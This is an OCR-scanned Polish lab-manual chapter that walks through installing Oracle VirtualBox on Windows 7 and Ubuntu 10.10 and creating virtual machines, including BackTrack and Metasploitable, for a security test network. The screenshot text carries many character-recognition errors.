172.16.1.1/24 Linux

&

BackTrack 4 R2

172.16.1.2/24 Metasploitable

172.16.16/24

Microsoft Windows Microsoft Ubuntu Linux
Server 2003 Windows 7 10.10
172.16..1.3/24 172.16.1.4 /24 172.16.1.5/24

Rys. 1.1. Schemat topologii sieci testowej
Zrédlo: opracowanie wilasne.
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Celem niniejszego ¢wiczenia jest przygotowanie wirtualnego Srodowiska
W oparciu o oprogramowanie wirtualizacyjne Oracle VirtualBox. Opisane zostana:
instalacja oprogramowania VirtualBox z systemach Microsoft Windows 7 1 Ubuntu
Linux 10.10 Desktop, tworzenie maszyn wirtualnych oraz ich konfiguracja.
Utworzona w ten sposéb infrastruktura bedzie wykorzystywana przy kolejnych
¢wiczeniach.

1.1. Instalacja Oracle VirtualBox w systemie Microsoft Windows 7

Na dotaczonej ptycie DVD znajduja si¢ pliki instalacyjne programu VirtualBox
w wersji 3.2.10. Najnowsza wersj¢ oprogramowania mozna pobra¢ ze strony
http://www.virtualbox.org/wiki/Downloads.

1.1.1. Przed przystapieniem do instalacji i konfiguracji maszyn wirtualnych
skopiuj do wlasnego katalogu roboczego <work_dir> na dysku lokalnym
wszystkie materiaty znajdujace si¢ na dotaczonej ptycie DVD.

1.1.2. Zaloguj sig¢ do systemu Windows na konto administratora.

1.1.3. Uruchom instalator programu VirtualBox znajdujacy si¢ w:
<work_dir>/vbox/VirtualBox 3.2.10 Windows.exe

1.1.4. Po uruchomieniu instalatora kliknij przycisk Next, aby rozpocza¢ instalacjg.

13! Oracle VM VirtualBox 3.2.10 Setup ==

' ' Welcome to the Oracle VM

VirtualBox 3.2.10 Setup
Wizard

The Setup Wizard will install Orade ¥M VirtualBox 3.2, 10 on
your computer. Click Next to continue or Cancel to exit the
Setup Wizard.

Version 3.2.10

Cancel

Rys. 1.2. Instalator Oracle VirtualBox — uruchomienie
Zrédlo: opracowanie wlasne.
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1.1.5. W nastgpnym oknie nalezy zapozna¢ si¢ z licencja EULA (ang. End-User
Licence Agreement — licencja uzytkownika kofcowego) i zatwierdzi¢ ja.

Wybierz opcje I accept the terms in the License Agreement i kliknij
przycisk Next.

15! Oracle VM VirtualBox 3.210 License Agreement @
End-User License Agreement

Flease read the following license agreement carefully.

VirtualBox Personal Use and Evaluation License (PUEL) -
License version 8, April 19, 2010

ORACLE CORPORATION (“ORACLE™) IS WILLING TO LICENSE THE
PRODUCT (AS DEFINED IN § 1 BELOW) TO YOU ONLY UPON THE
(CONDITION THAT YOU ACCEPT ALL OF THE TERMS CONTAINED IN
THIS VIRTUALBOX PERSONAL USE AND EVALUATION LICENSE
AGREEMENT (“AGREEMENT ™). PLEASE READ THE AGREEMENT
CAREFULLY. BY DOWNLOADING OR. INSTALLING THIS PRODUCT, YOU

+ I accept the terms in the License Agreement:

{” 1do not accept the terms in the License Agreement

Version 3.2.10 < Back | Next > | Cancel |

Rys. 1.3. Instalator Oracle VirtualBox — licencja EULA
Zrédto: opracowanie wlasne.

1.1.6. Kolejny ekran umozliwia wybdr instalowanych sktadnikéw oprogramowania
1 zmiang $ciezki instalacyjnej. Kliknij Next.

15 Oracle VM VirtualBox 2.2.10 Setup 5|
Custom Setup

Select the way you want features to be installed.

Click on the icons in the tree below to change the way features will be installed.

B VirtualBox Application Orade VM VirtualBox 3.2.10

- =3 ~ | VirtualBox USE Support application.

VirtualBox Networking
- | VirtualBox Brid

gil !r al OXBIEREE | s feature requires 87MB on your

S 7| VirtualBox Host-0| | hard drive, It has 3 of 3

- =3~ | VirtualBox Python Suppor| | subfeatures selected. The
= subfeatures require 430KEB on yo...

15 0 3

Location: C:\Program Files\OracleVirtualBox', (ot
Version 3.2.10 Disk Usage I < Back | Mext = | Cancel |

Rys. 1.4. Instalator Oracle VirtualBox — wyb6r sktadnikéw
Zrédto: opracowanie wiasne.
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1.1.7. Na kolejnym ekranie mozna wybra¢ opcje¢ dodania skrétéw do programu
na pulpicie i w pasku szybkiego uruchamiania. Kliknij Next.

112 Oracle VM VirtualBox 3.2.10 Setup ==

Custom Setup
Select the way you want features to be installed.

Please choose from the options below:

[V Create a shortcut on the desktop!

¥ Create a shortcutin the Quick Launch Bar

Version 3.2.10 < Back l Next > I Cancel I

Rys. 1.5. Instalator Oracle VirtualBox — skréty aplikacji
Zrédto: opracowanie wlasne.

1.1.8. W nastgpnym kroku wys$wietlona jest informacja o tymczasowej utracie
polaczenia z Internetem podczas instalacji. Wcisnij Yes.

14 Oracle VM VirtualBox 3.2.10 =

2l ...

Network Interfaces

Installing the Orade VM VirtualBox 3.2. 10 Networking
feature will reset your network connection and tempaorarily
disconnect you from the network.

Proceed with installation now?

Version 3.2.10

Rys. 1.6. Instalator Oracle VirtualBox — interfejsy sieciowe
Zrédto: opracowanie wlasne.
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1.1.9. Na kolejnym ekranie wcisnij Install. Rozpocznie si¢ kopiowanie plikow.

15! Oracle VM VirtualBox 3.2.10 Setup 3]

Ready to Install
The Setup Wizard is ready to begin the Custom installation.

Click Install to begin the installation. If you want to review or change any of your
installation settings, dick Back. Click Cancel to exit the wizard.

Version 3.2.10 < Back

Cancel

Rys. 1.7. Instalator Oracle VirtualBox — rozpoczegcie instalacji
Zrédto: opracowanie whasne.

1.1.10. Jes$li w systemie gospodarza uruchomiony jest mechanizm UAC (ang.
User Account Control — kontrola konta uzytkownika) nalezy zezwolié¢
instalatorowi na instalacj¢ programu. Kliknij Tak.

'E";J Kontrola konta uzytkownika

ﬁ Czy chcesz zezwoli¢ nastepujacemu programowi na
J/

" zainstalowanie oprogramowania na tym komputerze?
Nazwa programu: 84bad.msi
Sprawdzony wydawca: Sun Microsystems, Inc.
Pochodzenie pliku: Drysk twardy w tym komputerze
-I:\:l:ﬁ- Pokaz szczegély Tak Nie

Zdecyduj, kiedy sa wyswietlane powiademienia

Rys. 1.8. Instalator Oracle VirtualBox — mechanizm UAC
Zrédto: opracowanie wiasne.
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1.1.11. Nastgpnie nalezy zezwoli¢ na instalacj¢ sterownikéw do wirtualnych
interfejséw sieciowych. Zaznacz opcj¢ Zawsze ufaj oprogramowaniu
z ‘Sun Microsystems, Inc.’ i kliknij Zainstaluj.

[-] Zabezpieczenia systemu Windows
Czy chcesz teraz zainstalowac to oprogramowanie urzadzenia?

~  Mazwa: Oracle Corporation Karty sieciowe
_“‘.' Wydawca: Sun Microsystems, Inc.

Zawsze ufaj oprogramowaniu z ,5un Microsystems, [ Zainstaluj ]l Nie instaluj
Inc.”
@ Malezy instalowad oprogramowanie sterownikdw pochodzace wylacznie od zaufanych

wydawcow, Jak okreslic, kidre oprogramowanie sterownika mozna bezpiecznie zainstalowac?

Rys. 1.9. Instalator Oracle VirtualBox — instalacja sterownikéw
Zrédlo: opracowanie wlasne.

1.1.12. Po zakonczeniu instalacji kliknij Finish.

4 Oracle VM VirtualBox 3.210 Setup |

' ' Oracle VM VirtualBox 3.2.10

installation is complete.

Click the Finish button to exit the Setup Wizard.

¥ Start Oracle VM VirtualBox 3.2. 10 after installation

Cancel |

Rys. 1.10. Instalator Oracle VirtualBox — zakofczenie
Zrédlo: opracowanie wlasne.

ersion 3.2.10 < Back
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1.1.13. Uruchom program VirtualBox wchodzac w menu Start -> Wszystkie
programy -> Oracle VM VirtualBox -> VirtualBox.

| Autostart

Komputer
W Gry
" Konserwacja Panel sterowania
. Mazilla Firefox
. Oracle VM VirtualBox Urzadzenia i drukarki
% License (English)
|| User manual (English) Programy domyslne
% VirtualBox i
|| Oracle VM VirtualBox Guest Additions Pomoc i obstuga techniczna
4 Wstecz
| |.'.-‘f-j."s:-..--'<sj' programy i pliki }3 | Mm i

@ - O |%|

Rys. 1.11. Uruchomienie Oracle VirtualBox w systemie Windows
Zrédlo: opracowanie wlasne.

1.2.Instalacja Oracle VirtualBox w systemie Ubuntu Linux 10.10

Aby zainstalowa¢ aplikacje Oracle VirtualBox, nalezy dysponowa¢ w systemie
gospodarza kontem z uprawnieniami administracyjnymi.

1.2.1. Uruchom konsole tekstowa wybierajac menu Programy -> Akcesoria ->
Terminal (Applications -> Accessories -> Terminal w angielskiej wersji
jezykowej systemu).

43 Applications Pla
%%, Accessories

n} Games )| Character Map

,i Graphics » @ Disk Usage Analyzer
" Internet Manage Print Jobs
Office

% Sound & Video Take Screenshot

%l Ubuntu Software Center Terminal
ext Editor

4 Tomboy Notes

Rys. 1.12. Uruchomienie konsoli tekstowej w systemie Buntu
Zrédto: opracowanie wlasne.
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1.2.2. Zaktualizyj listg¢ programéw dostgpnych z repozytorium. Wpisz w konsoli:

sudo ap t update

Zostaniesz poproszony o wpisanie hasta administratora.

|bss@bss-VirtualBox:~$ sudo apt-get update
[Traf http xtras.ubuntu.com maverick Release.gpg
://extras.ubuntu.com/ubuntu/ maverick/main Translation-en
/extras.ubuntu.com/ubuntu/ maverick/main Translation-pl
‘'security.ubuntu.com maverick-security Release.gpg
/security.ubuntu.com/ubuntu/ maverick-security/main Translation-en
xtras.ubuntu.com maverick Release
pl.archive.ubuntu.com maverick Release.gpg
l.archive.ubuntu.com/ubuntu/ maverick/main Translation-en
ecurity.ubuntu.com/ubuntu/ maverick-security/main Translation-pl
/security.ubuntu.com/ubuntu/ maverick-security/multiverse Translation-

http://security.ubuntu.com/ubuntu/ maverick-security/multiverse Translation-
http://security.ubuntu.com/ubuntu/ maverick-security/restricted Translation-

http://security.ubuntu. com/ubuntu/ maverick-security/restricted Translation-

Rys. 1.13. Uaktualnienie listy oprogramowania dost¢pnego z repozytorium w systemie
Ubuntu 10.10. Zrédto: opracowanie wiasne.

1.2.3. Zainstaluj pakiet Oracle VirtualBox wpisujac w konsoli:

bss@bss-VirtualBox:~$ sudo apt-get -y install virtualbox-ose

Czytanie list pakietdw... Gotowe

Budowanie drzewa zaleznosci

Odczyt informacji o stanie... Gotowe

Zostana zainstalowane nastepujgce dodatkowe pakiety:
dkms fakeroot libaudio2 libmngl libgt4-dbus libgt4-network libqt4-opengl
libgt4-xml libgtcore4 libgtgui4 libvncserver® patch virtualbox-ose-dkms
virtualbox-ose-gt

Sugerowane pakiety:
nas qt4-gqtconfig libvncserver®-dbg diffutils-doc virtualbox-guest-additions
vde2

Zostana zainstalowane nastepujace NOWE pakiety:
dkms fakeroot libaudio2? libmngl libgt4-dbus libgt4-network libgt4-opengl
libgt4-xml libgtcore4 libgtgui4 libwvncserver® patch virtualbox-ose
virtualbox-ose-dkms virtualbox-ose-qgt

8 aktualizowanych, 15 nowo instalowanych, 8 usuwanych 1 138 nieaktualizowanych.

Konieczne pobranie 22,4MB archiwdw.

Po tej operacji zostanie dodatkowo uzyte 78,3MB miejsca na dysku.

Rys. 1.14. Instalacja Oracle VirtualBox w systemie Ubuntu z repozytorium
Zrédlo: opracowanie wilasne.

31



1.2.4. Uruchom program VirtualBox wychodzac w menu Programy ->
Akcesoria -> VirtualBox OSE (Applications -> Accessories ->
YVirtualBox OSE).

t.': Applications Places System ’-'}
. Accessories ™ ™ calculator
u} Games ’ @ Character Map
+B Graphics + @ Disk Usage Analyzer

® internet + ™ Manage Print Jobs

P office ® search forFiles...

¥ . Sound & Video Take Screenshot
e Ubuntu Software Center P=] Terminal
l’ Text Editor
lj Tomboy Notes
B virtualBox OSE

Rys. 1.15. Uruchomienie Oracle VirtualBox w systemie Ubuntu

1.3. Tworzenie maszyn wirtualnych

Aby zbudowac sie€ testowq jak na rys 1.1, nalezy utworzy¢ siedem maszyn
wirtualnych — kazda z innym systemem operacyjnym. Wirtualne dyski twarde dla
systemow Debian 5.0, BackTrack 4 R2, Ubuntu 10.10 Desktop, Metasploitable
i Turnkey LAMP Linux znajduja si¢ w katalogu <work_dir>/Przygotowanie
srodowiska/vm. Dla maszyn wirtualnych z systemami Windows nalezy utworzy¢
nowe dyski twarde.

Ponizej przedstawiona jest instrukcja tworzenia maszyny z systemem
Debian 5.0 z wykorzystaniem dost¢pnego obrazu dysku twardego.

1.3.1. Przed rozpoczgciem tworzenia nowych maszyn rozpakuj archiwa zip
z obrazami dyskow twardych znajdujace si¢ w katalogu:

<work_dir>/Przygotowanie Srodowiska/vm
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1.3.2. Kliknij przycisk Nowa w gléwnym oknie programu Oracle VirtualBox.

3% Oracle VM VirtualBox | = ol |

Plik  Maszyna Pomoc

{:1} & srzegsty @) Migawks | & Opis |
Nowa Ustawienia Uruchom Odrzué Witamy w VirtualBox!

Lewa czei¢ tego okna przezmaczona jest do wysnietiania listy maszyn wirtuainych dostepnych na
tym kemputerze. Lists jest teraz pusta, poniewa? nie Utworzono jeszcze zadnej maszyny.

Aby bnorzyé nowa wirtuslna maszyne, prosze wosna przycisk | -
Mowa na glownym pasku narzedzowym, umieszczonymna 4 ‘\
grzs chra, ~

Moina tekze waisnad Kawisz F1, aby uzyskat natychmiastona
pomoc lub odwiedzic strong www. virtualbox.org, aby uayskat
wigce) informacji i wiadom

Rys. 1.16. Gtéwne okno programu VirtualBox
Zrédto: opracowanie wiasne.

1.3.3. Uruchomi si¢ Asystent tworzenia nowej maszyny wirtualnej. Kliknij Dalej.

!W Twaorzenie nowej maszyny wirtualnej @

Asystent tworzenia nowej maszyny wirtualnej

Ten asystent pomaga w przeprowadzeniu krokéw koniecznych do utworzenia nowej maszyny
wirtualnej dia VirtualBox.

Prosze uzyé przydsku Dalej aby przejs¢ do nastepnej strony asystenta, lub przydsku Wstecz
aby powrddé do poprzedniej strony, Mozna réwniez uzyc Anuluj aby przerwad prace asystenta,

Rys. 1.17. Oracle VirtualBox — Asystent tworzenia nowej maszyny wirtualnej
Zrédlo: opracowanie wlasne.
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1.3.4. W pierwszym kroku tworzenia maszyny wirtualnej nalezy okresli¢ jej nazwe
i typ systemu operacyjnego.

W polu Nazwa wpisz Debian 5.0, typ systemu operacyjnego zostanie wybrany
automatycznie na podstawie wpisanej nazwy. Kliknij Dalej.

%8 Tworzenie nowej maszyny wirtualnej @

Nazwa maszyny wirtualnej i typ systemu operacyjnego

Prosze podac nazwe dia nowej maszyny wirtualnej oraz wybrac typ goszczonego systemu
operacyjnego, kidrego instalacja jest planowana w tej maszynie.

Nazwa maszyny wirtualnej zwykle przypomina jej konfiguracie sprzgtu | oprogramawanie. Bedzie
ona uzywana przez wszystkie produkty VirtualBox, aby identyfikowac stworzong maszyne.

Nazwa

Debian 5.0/

Typ systemu operacyjnego

System operacyjny: IL\nux - ]

Wersja: IDeb\an - J

[ < Wstecz H Dalej > H Anuluj ]

Rys. 1.18. Tworzenie maszyny wirtualnej — nazwa maszyny i typ systemu operacyjnego
Zrédto: opracowanie wlasne.

1.3.5. W nastgpnym kroku nalezy okresli¢ ilos¢ pamigci RAM (ang. Random-
Access Memory — pamig¢ operacyjna) dostgpnej dla wirtualnej maszyny.
Pozostaw domyslna warto$¢ (384 MB) i kliknij Dalej.

3§ Tworzenie nowsj maszyny wirtualngj @
Pamiec

Prosze wybrad rozmiar pamigd podstawowe]j (RAM) w megabajtach, jaka ma by¢ zarezerwowana
dla maszyny wirtualnej.
Zalecany rozmiar pamigd podstawowe] to 384 MB.

Rozmiar pamied podstawowej

D 384 MB

4MB 1500 MB

[ < Wistecz |[ Dalgj > ][ Anuluj ]

Rys. 1.19. Tworzenie maszyny wirtualnej — ilo§¢ pamigci RAM
Zrédto: opracowanie wlasne.
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1.3.6. W kolejnym kroku definiowany jest dysk twardy dla wirtualnej maszyny.
Wybierz opcje Uzyj istniejagcego dysku twardego i kliknij ikonke
z folderem, aby przejs¢ do Menedzera nosnikow wirtualnych.

%% Tworzenie nowej maszyny wirtualnej @
Wirtualny dysk twardy

Prosze wybrac obraz dysku twardego, kidry ma zostac uzyty jako dysk startowy maszyny
wirtualnej. Mo#na zaréwno utworzyé nowy dysk twardy uzywajac przydsku Nowy, jak | wybrad
istniejacy obraz dysku twardego z listy ponizej lub weiskajac przycisk Istniejacy (aby otworzyé
okno Menedzera nosnikdéw wirtualnych),

Jezeli potrzebne jest uzyde bardziej skomplikowanych ustawied dysku, mozna takie pomingd ten
krok i podtaczyc dyski pdiniej, korzystajac z okna Ustawier maszyny wirtualnej,

Zalecany rozmiar startowego dysku twardego to 8192 MB.
[¥] Startowy dysk twardy
() stwerz nowy wirtualny dysk twardy
@ Uzyj istniejacego dysku twardego

Brak - I @

Rys. 1.20. Tworzenie maszyny wirtualnej — wyb6r dysku twardego
Zrédto: opracowanie wiasne.

1.3.7. W Menedzerze nosnikow wirtualnych kliknij przycisk Dodaj, aby dodaé
nowy dysk do biblioteki no§nikéw.

Menedzer nosnikéw wirtualnych @
Akcje
Mowy  Dodaj Usui  Wysui Odswiez
Dyski twarde ';E:F Obrazy CO/OVD ||3 Obrazy dyskietek
Nazwa = Rozmiar wirtualny  Rozmiar aktualny

Rys. 1.21. Menedzer no$nikéw wirtualnych
Zrédto: opracowanie wiasne.
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1.3.8. W oknie, ktére si¢ pojawi, wskaz lokalizacj¢ pliku z wirtualnym dyskiem

twardym. Plik znajduje si¢ w katalogu <work_dir>/Przygotowanie
srodowiska/vm/Debian 5.0/Debian 5.0.vdi. Po wybraniu pliku kliknij

Otworz.

Wybierz plik obrazu dysku twardego

OQ [0 bss » VirtuslBox » HardDisks

Organizuj » Moy folder

0 Ulubione Nazwa

] Ostatnie migjsca || Debian 50.vdi
& Pobrane

B Pulpit

i Biblioteki
[ Dokumenty
& Muzyka
[ Obrazy
B wideo

w

@ Grupa domowa

1% Komputer
&, Dysklokalny (C)
Stacja dyskéw CL ~

Data modyfikagji  Typ

Rozmiar

2010-12-01 05:27 Plik VDI 9KB

Nazwa pliku: |

~ | Wszystkie obrazy dyskow tward ¥

Rys. 1.22. Menedzer no$nikéw wirtualnych — dodanie istniejacego dysku
Zrédlo: opracowanie wlasne.

1.3.9. W Menedzerze nosnikow wirtualnych zaznacz dodany dysk i kliknij Wybierz.

Menedzer nognikéw wirtualnych

-7l

Akcje

Mowy Dodaj Usun  Wysun Odswiez
Dyski twarde 'uE:‘ Obrazy CO/DVD | D Obrazy dyskietek

Nazwa Z Rozmiar wirtualny  Rozmiar aktualny
Debian 5.0.vdi 2,00 GB 850 KB

Sriezka: C:\Usersibss\, VirtualBox \HardDisks\Debian 5.0, vdi
Typ (format): Maormalny (vDI)

Podfgczony do:  Mepodigczony

[ Wybierz ][ Anuluj ][ Fomoc ]

Rys. 1.23. Menedzer no$nikéw wirtualnych — wybdr dysku
Zrédto: opracowanie wiasne.
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1.3.10. Po powrocie do Asystenta tworzenia nowej maszyny wirtualnej kliknij
Dalej, aby zatwierdzi¢ wybrany dysk twardy.

%% Tworzenie nowej maszyny wirtualnej @
Wirtualny dysk twardy

Prosze wybrac obraz dysku twardege, kidry ma zostac uzyty jake dysk startowy maszyny
wirtualnej, Mozna zardwno utworzyc nowy dysk twardy uzywajac przycisku Nowy, jaki wybrac
istnigjgcy obraz dysku twardego z listy ponizej lub wdskajac przycsk Istniejacy (aby otworzyc
okno Menedzera nosnikow wirtualnych).

Jezeli potrzebne jest uzyde bardziej skomplikowanych ustawieri dysku, mozna takie pominad ten
krok i podlaczye dyski pézniei, korzystajac z okna Ustawieri maszyny wirtualne].

Zalecany rozmiar startowego dysku twardego to 8192 MB.
[] Startowy dysk twardy
(@) Stwérz nowy wirtualny dysk bwardy

@ Uzyj istniejacego dysku twardego

Debian 5.0.vdi (Normainy, 2,00 GB) - @

[ < Wstecz H Dalej > J[ Anuluj l

Rys. 1.24. Tworzenie maszyny wirtualnej — wybodr no$nika
Zrédto: opracowanie wiasne.

1.3.11. Na koniec wy$wietlone zostanie podsumowanie dla tworzonej maszyny.
Kliknij Zakoncz.

%% Tworzenie nowej maszyny wirtualnej @
Podsumowanie

Zostanie utworzona nowa maszyna wirtualna o nastepujacych parametrach:

Nazwa: Debian 5.0

Typ systemu: Debian

Pamiec podstawowa: 384 MB

Startowy dysk twardy: Debian 5.0, vdi (Normalny, 2,00 GB)

Jesli powyisze ustawienia sa poprawne, prosze weisnad przycisk Zakoricz. Po nadéniediu
zostanie utworzona nowa maszyna wirtualna.

Uwaga: te oraz inne ustawienia maszyny wirtualnej moina modyfikowad w dowolnym momencie
uzywajac okna Ustawienia z menu w oknie gldwnym programu. Taka maszyne nalezy jednak
uprzednio wylgczyé,

[ < Wstecz H Zakoricz ][ Anuluj ]

Rys. 1.25. Tworzenie maszyny wirtualnej — podsumowanie tworzenia maszyny
Zrédto: opracowanie wiasne.
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1.3.12. W ten sam sposéb utwdrz maszyny wirtualne z systemami BackTrack,
Ubuntu, Metasploitable i Turnkey LAMP Linux, korzystajac z dotaczonych
obrazéw dyskéw twardych. Specyfikacja tworzonych maszyn:

BackTrack 4 R2:

Nazwa

System operacyjny

Wersja systemu operacyjnego
Pami¢¢ RAM

Obraz dysku twardego

Ubuntu Linux 10.10:

Nazwa

System operacyjny

Wersja systemu operacyjnego
Pami¢¢ RAM

Obraz dysku twardego

Metasploitable:

Nazwa

System operacyjny

Wersja systemu operacyjnego
Pami¢¢ RAM

Obraz dysku twardego

Turnkey LAMP Linux:
Nazwa

System operacyjny

Wersja systemu operacyjnego
Pami¢¢ RAM

Obraz dysku twardego

BackTrack 4 R2

Linux

Other Linux

256 MB

<work_dir>/Przygotowanie
srodowiska/vm/BackTrack 4 R2/ BackTrack
4 R2.vdi

Ubuntu 10.10 Desktop

Linux

Ubuntu

512 MB

<work_dir>/Przygotowanie
srodowiska/vm/ Ubuntu 10.10 Desktop/
Ubuntu 10.10 Desktop.vdi

Metasploitable

Linux

Ubuntu

512 MB
<work_dir>/Przygotowanie
srodowiska/vm/Metasploitable/
Metasploitable.vdi

TurnKey

Linux

Ubuntu

256 MB
<work_dir>/Przygotowanie
srodowiska/vm/Turnkey/Turnkey.vdi
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Nastegpnie nalezy utworzy¢é wirtualne maszyny z systemami Windows.
Poniewaz nie ma dostgpnych wirtualnych dyskéw twardych dla tych maszyn,
nalezy utworzy¢ nowy dysk, a nastgpnie zainstalowa¢ na nim system operacyjny
samodzielnie. Ponizszy opis tworzenia nowej maszyny zostat przedstawiony dla
maszyny z systemem Microsoft Windows 7.

1.3.13. Kliknij przycisk Nowa w gléwnym oknie programu Oracle VirtualBox.
1.3.14. Uruchomi si¢ Asystent tworzenia nowej maszyny wirtualnej. Kliknij Dalej.

1.3.15. W pierwszym kroku tworzenia maszyny wirtualnej nalezy okresli¢ jej
nazweg i typ systemu operacyjnego. W polu Nazwa wpisz Windows 7,
typ systemu operacyjnego zostanie wybrany automatycznie na podstawie
wpisanej nazwy. Kliknij Dalej.

1.3.16. W nastgpnym kroku nalezy okresli¢ ilo§¢ pamigci RAM dostgpnej dla
wirtualnej maszyny. Ustaw warto$¢ 1024 MB i kliknij Dalej.

1.3.17. W kolejnym kroku definiowany jest dysk twardy dla wirtualnej maszyny.
Wybierz opcje Stwérz nowy wirtualny dysk i kliknij przycisk Dalej.

3§ Tworzenie nowej maszyny wirtualnej \EI
Wirtualny dysk twardy

Prosze wybrad obraz dysku twardego, ktdry ma zostad uzyty jeko dysk startowy maszyny
wirtualnej, Mozna zardwno utworzye nowy dysk twardy uZywaijac przycisku Nowy, jak i wybrad
istniejacy obraz dysku twardego z listy ponizej lub wdskajac przycisk Istniejacy (aby otworzyé
okno Menedzera nognikdw wirtualnych),

Jezeli potrzebne jest uiycdie bardziej skomplikowanych ustawien dysku, mo#na takie pominac ten
krok i podtaczyc dyski pzniej, korzystajac z okna Ustawier maszyny wirtualnej.

Zalecany rozmiar startowego dysku twardego to 20480 ME.
@ Stworz nowy wirtualny dysk twardy

) Utyj istniejacego dysku twardego

N
(]
H
L !

[ < Wistecz |[ Dalej > ][ Anuluj I

Rys. 1.26. Tworzenie maszyny wirtualnej — wybdr no$nika
Zrédto: opracowanie wlasne.
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1.3.18. Uruchomi si¢ Asystent tworzenia nowego dysku wirtualnego. Kliknij Dalej.

Tworzenie nowego dysku wirtualnego @
Asystent tworzenia nowego dysku wirtualnego

Ten asystent pomaga utworzye nowy wirtualny dysk twardy dia maszyny wirtualne;.

Rys. 1.27. Asystent tworzenia nowego dysku wirtualnego
Zrédlo: opracowanie wlasne.

1.3.19. Nastepnie nalezy okresli¢ typ obrazu dysku twardego. Wybierz opcje
Dynamicznie rozszerzany obraz i kliknij Dalej.

Tworzenie nowego dysku wirtualnego @
Typ obrazu dysku twardego

Prosze wybrac typ obrazu wirtualnego dysku twardego, jaki ma zostac utworzony.

Dynamicznie rozszerzany obraz poczatkowo zajmuje bardzo niewielks ilos¢ micjsca na
fizycznym dysku. Bedzie on jednak rést dynamicznie (s do wybranego rozmiaru) wraz z
zajmowaniem przez goszczony system operacyiny coraz wickszej przestrzeni dysku,

Obraz o stalym rozmiarze nie rosnie, Jest on od razu zapisywany w pliku o rozmiarze w
przyblizeniu takim samym, jak wybrany rozmiar dysku wirtualnego. Tworzenie obrazu o statym
rozmiarze moze zajal wiele czasu, zaleznie od rozmiaru obrazu oraz wydajnosd zapisu dysku
twardego w komputerze.

Typ obrazu
@ Dynamicznie rozszerzany obraz

") Obraz o statym rozmiarze

I < Wstecz ][ Dalej > ]I Anuluj ]

Rys. 1.28. Asystent tworzenia nowego dysku wirtualnego — typ obrazu dysku twardego
Zrédto: opracowanie wiasne.
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1.3.20. W nastgpnym kroku nalezy okresli¢ lokalizacje dla pliku z dyskiem
i rozmiar dysku. Pozostaw domy$lne wartosci i kliknij Dalej.

Tworzenie nowego dysku wirtualnego @I

Sciezka i rozmiar dysku wirtualnego

Prosze waisnad przycisk Wybierz, aby wybrad lokalizacie oraz nazwe pliku z obrazem dysku
wirtualnego, mozna tez wprowadzic nazwe pliku bezposrednio w polu ponizej.

Sciezka

Windows 7.vdi

Prosze wskazad rozmiar wirtualnego dysku twardego w megabajtach. Bedzie on zghoszony
goszczonemu systemowi operacyjnemu jako maksymalny rozmiar tego dysku twardego.
Rozmiar
; ) 2,00 GB

4,00 MB 2,00 TB

[ < Wstecz ] [ Dalej = ]I Anuluj ]

Rys. 1.29. Asystent tworzenia nowego dysku wirtualnego — $ciezka i rozmiar obrazu
Zrédto: opracowanie wiasne.

1.3.21. Wyswietlone zostanie podsumowanie tworzenia nowego dysku. Kliknij
Zakoncz.

2] Tworzenie nowego dysku wirtualnego B
go dysl g

Podsumowanie

Zostanie utworzony nowy wirtualny dysk twardy o nastepujacych parametrach:

Typ: Dynamicznie rozszerzany obraz
Scezka: Ci\Users'pss),VirtualBox'\HardDisks\Windows 7.vdi
Rozmiar: 2,00 GB (2147453643 B)

Jegli powyzsze ustawienia s3 prawidlowe, prosze wdsnaé przycisk Zakericz, Po nadgnieciu
zostanie utworzony nowy obraz dysku twardego.

[ cwster | [ zakote | [ aniy |

Rys. 1.30. Asystent tworzenia nowego dysku wirtualnego — podsumowanie
Zrédto: opracowanie wiasne.

1.3.22. Na koniec wy$wietlone zostanie podsumowanie dla tworzonej maszyny.
Kliknij Zakoncz.
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1.3.23. Aby zainstalowa¢ system operacyjny nalezy dysponowaé obrazem ISO
i podtaczy¢ go do wirtualnego napedu CD. W gtéwnym oknie programu
VirtualBox wybierz maszyng z systemem Windows 7 i kliknij przycisk

Ustawienia
4§/ Oracle VM VirtualBox (=N |
Pl Maszyna  Pomoc
{:} {E} % {3 suzegity |@) Migawki | S opis
Nowa Ustawienia Uruchom  Odraué [E ogélne T
Nazwa: Windows 7
/:j Debian 5.0 Typ systemu: Windows 7
._@ @ wylaczona Syei
Pamieé podstawowa: 512MB
[T+ windows 7 Pracesor(y): 1
b7 @wylacona Kolejnos¢ startowania: Dyskietka, CD/DVD-ROM, Dysk twardy
Ekran
Pamiet wideo: 16MB
Akceleragja 3D: Wylgczona
Akeeleracia wideo 20: Wylaczony =
Serwer zdalnego pulpitu: Wylaczony
(@ Nosniki
Kontroler IDE
IDE Drugi Master (CD/DVD): Brak
Kantraler SATA
Port SATA 0: Windows 7.vdi (Normalny, 20,00 GB)
o Diwiek
Sterownik gospodarza: Windows DirectSound
Kontroler: 1CH ACS?
P Sied
Karta 1: Intel PRO/1000 MT Desktop {NAT)
{3 Porty szeregowe
Wyigczone

Rys. 1.31. Oracle VirtualBox — Ustawienia
Zrédto: opracowanie wiasne.

1.3.24. W lewym menu przejdz do sekcji Nosniki i w drzewie no$nikéw wybierz
naped CD podiaczony do kontrolera IDE (ang. Integrated Device Electronics
— standard komunikacji pamigci masowych). Nastgpnie kliknij na symbol
folderu przy polu Ptyta CD/DVD.

{23 Windows 7 - Ustawienia [=n =
B8 ogoine Nosniki
[E system
e Drzewo nosnikdw Atrybuty
® noini & ronsae e s
b oo P copo =
BP Siec & Kontroler SATA passthrough
B Porty szeregowe Windows 7.vdi Informaca -
;? UsB Rozmiar: —
2 Wspoldzielone katalogi woZi =
Podfaczone do:
@@
Frosze wybrac, feri P fi i szy nad
wigeef informacgi.
o) i [romee

Rys. 1.32. Oracle VirtualBox — no$niki
Zrédlo: opracowanie wlasne.

42



1.3.25. Uruchomi si¢ Menedzer nosnikéw wirtualnych. Kliknij Dodaj.

Menedzer nosnikow wirtualnych @

Akcje
8 89 @

Mowy  Dodaj Usufi  Wysur Odéwiez
@ Dyski twarde @ Cbrazy CD/OVD “3 Obrazy dyskictek
=

Nazwa Rozmiar

Rys. 1.33. Oracle VirtualBox — menedzer no$nikéw
Zrédlo: opracowanie wlasne.

1.3.26. Wskaz lokalizacjg obrazu ISO ptyty instalacyjnej i kliknij Otwérz.

Wybierz plik obrazu dysku CD/DVD-ROM ==
—
@u-\ | » Komputer » Dysklokalny (C:) » Nowy folder v [ #2|[ Presz

Organizuj »  Nowy folder

“ Nezwa Data modyfikacji  Typ Rozmiar

0 Ulubione m

%] Ostatnie migjsca ¢} Misrosoft Windows 7 2010-12-0105:54  Plik obrazu dysku okB|
18 Pobrane
B Pulpit

4 Biblioteki
& Dokumenty  |&
o Muzyka
=] Obrazy
B wideo

& Grupa domowa

